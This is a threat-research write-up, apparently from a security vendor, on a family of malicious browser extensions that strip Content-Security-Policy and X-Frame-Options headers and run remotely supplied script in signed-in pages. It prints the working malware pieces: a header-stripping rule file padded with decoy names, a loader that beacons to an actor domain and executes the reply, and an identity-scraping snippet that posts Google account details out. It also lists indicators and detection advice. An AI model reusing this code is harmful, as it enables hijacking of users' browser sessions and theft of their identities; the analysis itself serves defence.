CRXfiltrate: The Headers That Don't Exist

Summary

I found this by accident one afternoon, when all I wanted was a color picker for a shade of blue. It was one of those small browser tools for grabbing a hex value off the screen; it was supposed to be inconsequential. Before I installed it, I read the permission prompt, and what I saw did not fit. It was a color picker that was asking to rewrite the headers on every website I visited and to read every page I loaded. There was no way it needed those permissions. That mismatch was enough - I pulled the extension apart instead of trusting it. That single thread - the extension MyColorPick - unraveled over the past three months.

CRXfiltrate, as I have named it, turned out to be a whole family of browser extensions that do exactly what they advertise, whether that is a color picker, an ad blocker, a volume booster, or a screenshot tool, all while quietly stripping two security headers off of every page you load and running code chosen by a remote server inside the pages you are already signed into.

These two headers are the whole game. Content-Security-Policy (CSP) is the rule that tells your browser to run only the scripts a site trusts, so once it's gone, the extension can run whatever it likes. X-Frame-Options is what keeps a page from being wrapped inside of another, so once this one is gone, your real page can be hidden beneath a fake one. CRXfiltrate extensions remove these headers for every site you visit once installed. The reason this is difficult to catch is that the extension buries the removal of these two inside of a list of eight more headers that were never real, so anyone skimming the rule file sees noise rather than the two lines that actually matter.

This access was never really about sampling a color. It reaches into every tab you have open - your email, your admin consoles, your single sign-on, your customer records - and the server on the other end decides, victim by victim, whose pages are worth taking.

This is not one person in a basement, but a professionally run software factory with 48 confirmed extensions across three browsers, developer ticket numbers left behind in the payloads, and a delivery pipeline that has been shipping for years and is still live today. This is because every domain, every extension, every disguise, every config server, and publisher account is a throwaway IOC. A blocklist goes stale within a month, and the pattern itself is the only durable indicator. If you can stop the header strip (or at least stop the install of header stripping extensions) then you've found the easiest way to protect your enterprise.

In fact, enterprises are not really the target. Nobody installs a volume booster on a locked-down work laptop. Enterprises are collateral, icing on top. The people being hunted are ordinary users on personal devices, but bring-your-own-device policies and users logging into personal email through Chrome widen the spread.

I got lucky finding this, and I was diligent enough to stay curious. By the end of this, you will need neither, because I include detection rules and AI agents that do the finding for you. Wladimir Palant documented 14 of these extensions in January 2025, and what follows is the rest of the family.

The extension

The one I started with was MyColorPick, and the only reason any of this happened is that I read its permission prompt instead of clicking straight through. A color picker was asking for declarativeNetRequest, which grants the ability to rewrite response headers, along with host access to every site I visited. Neither belongs anywhere near a tool whose whole job is sampling a single pixel on the tab in front of you. The manifest spells it out:

{
  "manifest_version": 3,
  "permissions": ["storage", "declarativeNetRequest"],
  "host_permissions": ["http://*/*", "https://*/*"],
  "content_scripts": [{
    "js": ["js/content.js", "js/feedbackWidget.js"],
    "matches": ["http://*/*", "https://*/*"],
    "all_frames": true,
    "run_at": "document_start"
  }],
  "declarative_net_request": {
    "rule_resources": [{ "id": "headers", "enabled": true, "path": "headers.json" }]
  }
}

What matters, however, is not in the manifest or in the bundled JavaScript that most reviewers read, because the artifact needed sits in the rule file registered under declarative_net_request.

headers.json

headers.json is a rule file that tells Chrome how to block, redirect, or modify requests and response headers for applicable websites. The rule file in MyColorPick removes ten response headers, and it does so on every site, in every frame:

[{
  "id": 1, "priority": 1,
  "action": {
    "type": "modifyHeaders",
    "responseHeaders": [
      { "header": "img-processing-api",        "operation": "remove" },
      { "header": "gamma-adjustment-service",   "operation": "remove" },
      { "header": "csp-report-only-policy",     "operation": "remove" },
      { "header": "color-enhance-policy",       "operation": "remove" },
      { "header": "content-security-policy",    "operation": "remove" },
      { "header": "image-opt-endpoint",         "operation": "remove" },
      { "header": "contrast-tuning-interface",  "operation": "remove" },
      { "header": "image-frame-policy",         "operation": "remove" },
      { "header": "x-frame-options",            "operation": "remove" },
      { "header": "color-balance-endpoint",     "operation": "remove" }
    ]
  },
  "condition": { "urlFilter": "*", "resourceTypes": ["main_frame", "sub_frame"] }
}]

Only two of those ten headers are real. Content-Security-Policy and X-Frame-Options do the actual work, while the other eight were invented to sound like the plumbing of a color tool. As a result, the two that matter never stand out in the list. The padding even changes to fit the disguise, so ColorPickPro leans on names like pixel-color-reader. The screenshot tools reach for watermark headers, while the recorders use webcam and microphone ones - but these two real headers are always in the set.

The reason those two are worth stealing is simple. Content-Security-Policy tells the browser which scripts may run and where they can come from, so stripping it clears the way for an injected script. X-Frame-Options stops a page from being wrapped inside of another, so stripping it lets an attacker lay their own page over yours. With urlFilter set to * across main_frame and sub_frame, both headers are stripped on every response before the page has even finished loading. This is the lock the rest of the attack walks through.

The loader

With MyColorPick alone installed in a throwaway VM, I opened DevTools on an ordinary page and found a script that the site never served, and that the extension never shipped, sitting in the sources panel as redirect_checker.js:

let unid    = '61608feb-c95e-4636-86f7-d51e01b57030';  // per-install ID
let extid   = 'jckoejjnaljgkmgblmbodoegoefofhee';       // MyColorPick
let country = 'US';
let domain  = window.location.hostname;

function isSuitableDomain() {
  return new Promise((resolve) => {
    fetch('https://statsdata.online/alk/g2.php', {
      method: 'POST',
      body: btoa(unescape(encodeURIComponent(JSON.stringify({
        u: unid, e: extid, d: domain, c: country
      })))),
      headers: { 'Content-Type': 'text/plain' },
      credentials: 'include'
    })
    .then(r => r.ok ? r.text() : Promise.reject())
    .then(data => resolve(data.trim() === '' ? false : data))
    .catch(() => resolve(false));
  });
}

async function init() {
  let lastRedirect = localStorage.getItem('zLastRedHer');
  let curTime = Math.round(Date.now() / 1000);
  if (lastRedirect && (curTime - lastRedirect) < (12 * 3600)) return;  // once every 12h

  let id = await isSuitableDomain();
  if (!id) return;                        // server sends nothing, stop

  localStorage.setItem('zLastRedHer', curTime);
  let s = document.createElement('script');
  s.appendChild(document.createTextNode(id));   // server reply IS the code
  document.head.appendChild(s);                 // and it runs
}
init().catch(e => {});

What it does is small and quiet. It posts the install ID, the extension ID, the page's domain, and the country to statsdata.online. If the response comes back empty, it simply stops, but if anything comes back, it drops that response straight into a <script> tag on the page. From that point, the server - not the extension nor the Chrome Web Store reviewer - decides what code runs inside a page you are already signed into, and with CSP stripped, the page has no way to refuse it. This is also why these permissions were never sloppiness, but design. Because host access on every site is what puts the content script everywhere, declarativeNetRequest is what clears the headers first, and the twelve-hour throttle is tucked into the site's own localStorage under zLastRedHer so that it reads like something the website set rather than the extension.

The delivered payload

Once the door is open, the code that comes back builds the rest of the attack, and it's all visible in the PCAP:

• A full-window invisible frame (opacity:0, pointer-events:none).
• A fake search-results page fetched from a remote host and laid over the real Google, Bing, or Yahoo, so the results and the paid links you see are theirs.
• Continuous beaconing of event data plus ten levels of surrounding page HTML to topodat.info and datvault.cloud, click classification to astralink.click/clce, and layout positions to astralink.click/agg/log/top.

On some victims, it also reaches into the Google sign-out control and scrapes the account name and email out of the button's label:

let signOutEl = document.querySelector('a[href*=SignOutOptions]');
if (signOutEl) {
  let aria = signOutEl.getAttribute('aria-label');   // "Google Account: Name (email)"
  if (aria && aria.length > 0) {
    fetch('https://doublestat.info/c', {
      method: 'POST',
      body: btoa(unescape(encodeURIComponent(JSON.stringify({
        a: 'setUserDataEm', u: 'ra7u27oi18n7un41j',
        e: 'jbdegnmcajkhjemebonejojlgkgcddhc',
        data: { source: 'google', aria: aria }
      })))),
      headers: { 'Content-Type': 'text/plain' }, credentials: 'include'
    }).then(() => localStorage.setItem('gotAriaLabel', Date.now()));
  }
}

That last block is delivered by choice rather than by default, and I know because I captured two payloads for two different victims: one carrying the identity scrape and the other byte-for-byte identical except that the block had been cut out, measuring 43,250 bytes versus 42,385, which tells you the server is deciding, victim by victim, who is worth surveilling closely.

Evidence limit. I can read the full chain in captured code, but the corpus does not hold a decrypted statsdata response tied to a named person, because that hop is TLS-encrypted.

Shared code and authorship

Forty-eight extensions run this same play against the same infrastructure, and the case that one shop is behind them rests not on a hunch but on the evidence left behind in the code, the packet captures, and the logs.

None of that reaches as far as a name, and I am careful to stop where the evidence stops, so the Slavic strings and keyboard artifacts read as language and layout signals rather than evidence of nationality. The honest summary is one shop, one assembly line, and a great many masks. The label Palant used is something 7AI now tracks as a separate campaign, which is why three of its IDs were pulled back out of the CRXfiltrate set: we believe they were not authored by the same group, though they use the same technique.

Still active

Palant published his account in January 2025, yet two of the fourteen extensions he named were still listed in May 2026 with thousands of users each, which is not how a burned operation behaves. The payload domain lottingem.com alone carries 107 archived snapshots running from January 2024 into April 2026, and the story did not stop when I started writing it up: in September 2026, a fresh screen recorder called RecZap surfaced with ten thousand users, calling home to trivex5.online, a domain that had been registered in August 2025 and then quietly renewed in July 2026 just before it would have lapsed. Nobody renews a domain they are finished with, so the lights are clearly still on.

Infrastructure

There is no single server to knock over and be done, which is the first thing the map makes clear, because it runs to roughly twenty-nine actor domains and another twenty-nine per-product config domains, about fifty-eight in all. When I detonated the samples for a day, sixteen target domains resolved across only seven servers, most of them answering with the same nginx build and the same 403 you get for knocking without a valid victim ID in hand.

The command side is split by job the way real software is:

That separation is not incidental. It is wired into the hosting, with the decision and payload servers on one address block, the config and redirect hosts on another, and delivery riding a shared commercial CDN on a third.

The part that makes detection genuinely hard is that the same operator runs a second business in plain sight, ordinary malvertising served to people who never installed a thing, and it beacons to the very same analytics and ad hosts. As such, a hit on one of those shared domains tells you almost nothing on its own. The only host that reliably means an extension is actually installed is the per-product config server, and everything else gets touched either way.

Enterprise telemetry

I took the indicator set into dozens of enterprise environments and ran it entirely against telemetry those customers already kept: their DNS, proxy, TLS SNI, and firewall logs, without ever sending a packet to the actor. The safe way to pivot is to pull the resolved IPs from your own DNS answers and look for unfamiliar domains sitting on those IPs. A majority of those environments came back with confirmed exposure, extensions installed, devices beaconing, and misleading malvertising hits mixed in, and on more than a few endpoints, the extension was already gone while the callbacks kept going. Two things stood out this month:

• Domains rotate, IPs stay. On two endpoints the config pair singleview.site and fivestat.com went dark while navrix.art and wirona.pro came up on the same terminal IPs, 5.149.249.216 and 5.149.255.43, with one of those swaps happening inside the same minute, which tells you to hunt the structure rather than the names.
• Delisting is not remediation. Months after the AdBlock and SkipAds listings were pulled, their infrastructure was still being contacted across more than one environment.

The uncomfortable part is that every control sees only its own slice: because the header strip happens inside the browser before the response ever reaches the page, the network stack never witnesses it, and there is no dedicated event when one of these installs. Across three separate on-host inventory sources, the record existed on a single-digit percentage of machines, under one percent in one case, and came back clean on the very endpoints where I had already confirmed contact with the command server.

Defense

Everything downstream leans on one action: the header strip. A page whose CSP is intact simply refuses the injected script, so if you stop the strip, you stop the remote code execution, and the rest becomes noise.

1. Govern your extensions, because this is the actual fix and it is already sitting in Chrome and Edge enterprise policy for free. Allowlist the extensions you have approved and block the rest, and if a full allowlist is more than your culture will bear, at minimum block anything that asks for declarativeNetRequest together with access to every site, since that pairing is the fingerprint and almost nothing legitimate needs both. It is worth auditing the policy you already run, too, because in one environment it blocked one confirmed-malicious ID while explicitly permitting another.
2. Constrain your egress, but understand it only works ahead of time. Cutting the outbound path to the command server does kill the callback, and yet because the actor reuses those same servers for malvertising behind trusted CDNs, a hit there does not prove infection and a rarity rule will see nothing unusual, so this prevents rather than digs out.
3. Hunt and review, which is how you find what already got in. The detection rules will flag every extension stripping these headers, but a flag is a candidate and not a verdict, because a real ad blocker strips headers too, and so somebody has to weigh intent at the scale of a whole fleet, which is exactly the kind of judgement an AI agent can carry.

Indicators

The indicators below start with the confirmed extension IDs, since an installed one is a finding on its own, and then move to the domains each product calls, grouped by the job they do in the chain, with every row copying to your clipboard on a click. The full detection package adds two YARA rules, Suricata signatures, a Sigma pack, and the two review agents.

Highest-signal URL patterns

cdn23602612.ahacdn.me/500b-bench.jpg
*/alk/g2.php
*/re.php?mk=doublestat*
*/m3011.js   */g1001.js
POST */c         with a base64 body from a Chromium browser
POST */logb.php  with a JSON body from a Chromium browser

Treat the shared-services group as do-not-alert on its own, because those hosts, the bare CDN, and any IP will generate false positives by themselves, so use resolved IPs only to pivot inside a tenant's own DNS answers.

As for what a hit actually proves, an installed ID shows the capability was present rather than that a payload ran, domain contact confirms only that the host was reached and not the URL path or the body or the response, and an IP pivot gives you leads rather than attribution, because shared hosting looks identical from the outside.

Rules and agents

Two things ship alongside this research. The first is a set of detection rules, YARA at the file layer, Suricata on the network, and Sigma for the fleet SIEM, all built around the same idea that the broad CSP and X-Frame-Options strip is the gate, so the rest of the chain, the remote config call, the page injection, the per-install ID, the uninstall beacon, and the decoy padding, only counts once that gate is true. Run against a thousand random extensions the gate produced no false positives while still catching twenty-seven of the thirty confirmed identities in its top tiers, and the primary YARA rule adds the themed decoy padding for precision while a looser bare-strip rule catches more but trips on honest ad blockers, so it stays off by default.

The second is a pair of review agents, and both read a candidate the safe way, defanged, never installed, and never allowed to touch its own domains. The intent agent asks whether the cover story can justify touching these headers at all, whether the rule pads itself with headers that do not exist, and whether the extension mints a per-install ID and ships it to a product-named server with a matching uninstall beacon, and it comes back with either benign or candidate. The attribution agent then goes looking for a second, independent link, whether that is code shared with the confirmed family, an authorship tell, or overlapping infrastructure, and it returns candidate or confirmed with the evidence attached, though neither agent ever gets the final vote.

RecZap is the worked example, a near-perfect behavioral match whose code similarity and authorship fingerprints both came back negative, so it stayed a candidate until a threat-intel lookup put trivex5.online on a near-dedicated IP alongside confirmed FontXplorer's command server, which is association rather than proof, and the record says exactly that.

Enterprise exposure

Nobody installs a volume booster on a locked-down work laptop, which is precisely why enterprises are not really the target, and the people actually being hunted are ordinary users on their own devices. The trouble is that bring-your-own-device puts those machines on your network and the move to the cloud has quietly relocated the crown jewels into the browser, so email, admin consoles, single sign-on, and customer records are all just tabs now, and where the old nightmare needed malware on the host and administrative rights to match, this one runs in a tab and needs nothing more than a page you are already signed into. Enterprises are not the target so much as the collateral.

So there are three things worth doing this week: 1. Turn on extension allowlisting, or at least block declarativeNetRequest paired with all-sites access, and audit the policy you already run. 2. Take the detection rules to your fleet and review whatever they flag for intent, since an ad blocker earns the header strip and a color picker does not. 3. Ppoint an AI agent at that review so it scales past a single analyst trying to read ten thousand extensions by hand.

This all began because I read a permission screen instead of clicking accept, and it ended as a repeatable method, a rule set, and an agent that takes the luck out of it, and that is what I am handing you now.